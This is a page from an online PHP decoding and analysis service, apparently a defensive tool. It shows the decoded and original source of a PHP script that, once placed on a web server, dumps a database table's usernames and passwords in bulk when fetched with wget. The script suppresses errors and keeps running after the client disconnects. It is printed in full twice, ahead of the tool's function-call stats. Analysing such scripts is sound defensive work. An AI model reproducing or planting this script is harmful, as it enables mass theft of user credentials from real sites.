Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //author: By Gavin //Usage: wget "http://xxx.com/wget_sql.php?sn=0&en=5000000&ln=500..

Decoded Output download

<?php
//author: By Gavin
//Usage: wget "http://xxx.com/wget_sql.php?sn=0&en=5000000&ln=50000" -O gavin.sql

error_reporting(0);
ignore_user_abort();
set_time_limit(0);
ob_clean();

//
$DB_Server="127.0.0.1:3306";
$DB_User="root";
$DB_Pass="root";
$DB_Name="DBName";

//limit,2w
$max_limit_num = 20000;
//
$max_cache_num = 5000;


$gavin_start_num = intval($_GET['sn']);                    //
$gavin_end_num = intval($_GET['en']);                    //
if (intval($_GET['ln'])) $max_limit_num = intval($_GET['ln']);        //
 $gavin_down_num = intval($gavin_end_num - $gavin_start_num);         //

if ($gavin_end_num < $max_limit_num) $max_limit_num = $gavin_end_num;
$beishu = intval($gavin_down_num/$max_limit_num);
$yushu = intval($gavin_down_num%$max_limit_num);

$conn=@mysql_connect($DB_Server,$DB_User,$DB_Pass);
if ($conn==FALSE) {
    echo "!<br>";
    exit();
    }
if (@mysql_select_db($DB_Name,$conn)==FALSE) {
        echo ":".$DB_Name." !";
        exit();
    }

mysql_query("set names 'utf8'");
$num = 1;
$out_put_str = '';
if (ob_get_level() == 0) ob_start();

for ($i=0;$i<$beishu;$i++){
  $new_start_num = $i*$max_limit_num+$gavin_start_num;
  if ($i == ($beishu-1)) $max_limit_num += $yushu;
  $sql = "select username,password from `table_name` limit ".$new_start_num.",".$max_limit_num; //SQL
   $res = mysql_query($sql) or die(mysql_error());
  while($result = mysql_fetch_array($res))
  {
    $num ++;
    $out_put_str = $result["username"]."-->".$result["password"]."
";  //,SQL
     if ($num >= $max_cache_num){
      @ob_end_flush();
      $num = 0;
    }
    echo $out_put_str;
    // unset($out_put_str);
  }
}
?>

Did this file decode correctly?

Original Code

<?php
//author: By Gavin
//Usage: wget "http://xxx.com/wget_sql.php?sn=0&en=5000000&ln=50000" -O gavin.sql

error_reporting(0);
ignore_user_abort();
set_time_limit(0);
ob_clean();

//
$DB_Server="127.0.0.1:3306";
$DB_User="root";
$DB_Pass="root";
$DB_Name="DBName";

//limit,2w
$max_limit_num = 20000;
//
$max_cache_num = 5000;


$gavin_start_num = intval($_GET['sn']);                    //
$gavin_end_num = intval($_GET['en']);                    //
if (intval($_GET['ln'])) $max_limit_num = intval($_GET['ln']);        //
 $gavin_down_num = intval($gavin_end_num - $gavin_start_num);         //

if ($gavin_end_num < $max_limit_num) $max_limit_num = $gavin_end_num;
$beishu = intval($gavin_down_num/$max_limit_num);
$yushu = intval($gavin_down_num%$max_limit_num);

$conn=@mysql_connect($DB_Server,$DB_User,$DB_Pass);
if ($conn==FALSE) {
    echo "!<br>";
    exit();
    }
if (@mysql_select_db($DB_Name,$conn)==FALSE) {
        echo ":".$DB_Name." !";
        exit();
    }

mysql_query("set names 'utf8'");
$num = 1;
$out_put_str = '';
if (ob_get_level() == 0) ob_start();

for ($i=0;$i<$beishu;$i++){
  $new_start_num = $i*$max_limit_num+$gavin_start_num;
  if ($i == ($beishu-1)) $max_limit_num += $yushu;
  $sql = "select username,password from `table_name` limit ".$new_start_num.",".$max_limit_num; //SQL
   $res = mysql_query($sql) or die(mysql_error());
  while($result = mysql_fetch_array($res))
  {
    $num ++;
    $out_put_str = $result["username"]."-->".$result["password"]."\n";  //,SQL
     if ($num >= $max_cache_num){
      @ob_end_flush();
      $num = 0;
    }
    echo $out_put_str;
    // unset($out_put_str);
  }
}
?>

Function Calls

ob_clean 1
set_time_limit 1
error_reporting 1
ignore_user_abort 1

Variables

None

Stats

MD5 2feb3189d3344e70ac178f6587084014
Eval Count 0
Decode Time 108 ms